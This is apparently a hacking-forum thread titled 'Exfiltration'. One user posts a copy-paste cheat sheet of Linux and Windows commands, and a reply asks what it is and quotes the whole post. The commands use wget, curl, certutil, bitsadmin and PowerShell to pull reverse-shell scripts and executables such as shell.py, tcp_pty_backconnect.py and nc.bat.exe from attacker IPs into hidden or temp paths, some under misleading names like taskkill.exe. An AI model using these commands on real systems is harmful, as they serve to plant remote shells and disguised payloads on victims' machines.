# Exfiltration
Copy&Paste Base64 Code:Linux base64 -w0 <file> #Encode file base64 -d file #Decode file Windows certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll HTTP Linux wget 10.10.

var unreadAlerts = '1';
Welcome back, purely_cabbage. You last visited: Today, 06:36 AM Log Out
You have one unread private message from dkota titled Welcome to the Forum!
New Reply

Threaded Mode Exfiltration

Crystalian
prince97 is my mom
Posts:
7
Threads:
4
Joined:
Feb 2023
Reputation:
3
Credits: 5€ [Donate]
#1
02-14-2023, 01:18 PM
Copy&Paste Base64
Code:
`Linux
base64 -w0 <file> #Encode file
base64 -d file #Decode file
Windows
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
HTTP
Linux
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
Windows
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous`
I 'll be glad to it help everyone.
PM Rate
Report
envoy1
Newbie
Posts:
6
Threads:
0
Joined:
Mar 2023
Reputation:
0
Credits: 5€ [Donate]
#2
03-01-2023, 08:09 AM
what exfiltration is it?

> Crystalian Wrote: Copy&Paste Base64
> Code:
> `Linux
> base64 -w0 <file> #Encode file
> base64 -d file #Decode file
> Windows
> certutil -encode payload.dll payload.b64
> certutil -decode payload.b64 payload.dll
> HTTP
> Linux
> wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
> wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
> curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
> fetch 10.10.14.14:8000/shell.py #FreeBSD
> Windows
> certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
> bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
> #PS
> (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
> Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
> wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
> Import-Module BitsTransfer
> Start-BitsTransfer -Source $url -Destination $output
> #OR
> Start-BitsTransfer -Source $url -Destination $output -Asynchronous`
> I 'll be glad to it help everyone.

PM Rate
Reply Quote // Report

« Next Oldest | Next Newest »

New Reply

Quick Reply
Message Type your reply to this message here. Signature Disable Smilies | You have selected one or more posts to quote. Quote these posts now or deselect them.

- Subscribe to this thread

Users browsing this thread: purely_cabbage
var thread_deleted = "0"; if(thread_deleted == "1") { $("#quick_reply_form, .new_reply_button, .thread_tools, .inline_rating").hide(); $("#moderator_options_selector option.option_mirage").attr("disabled","disabled"); }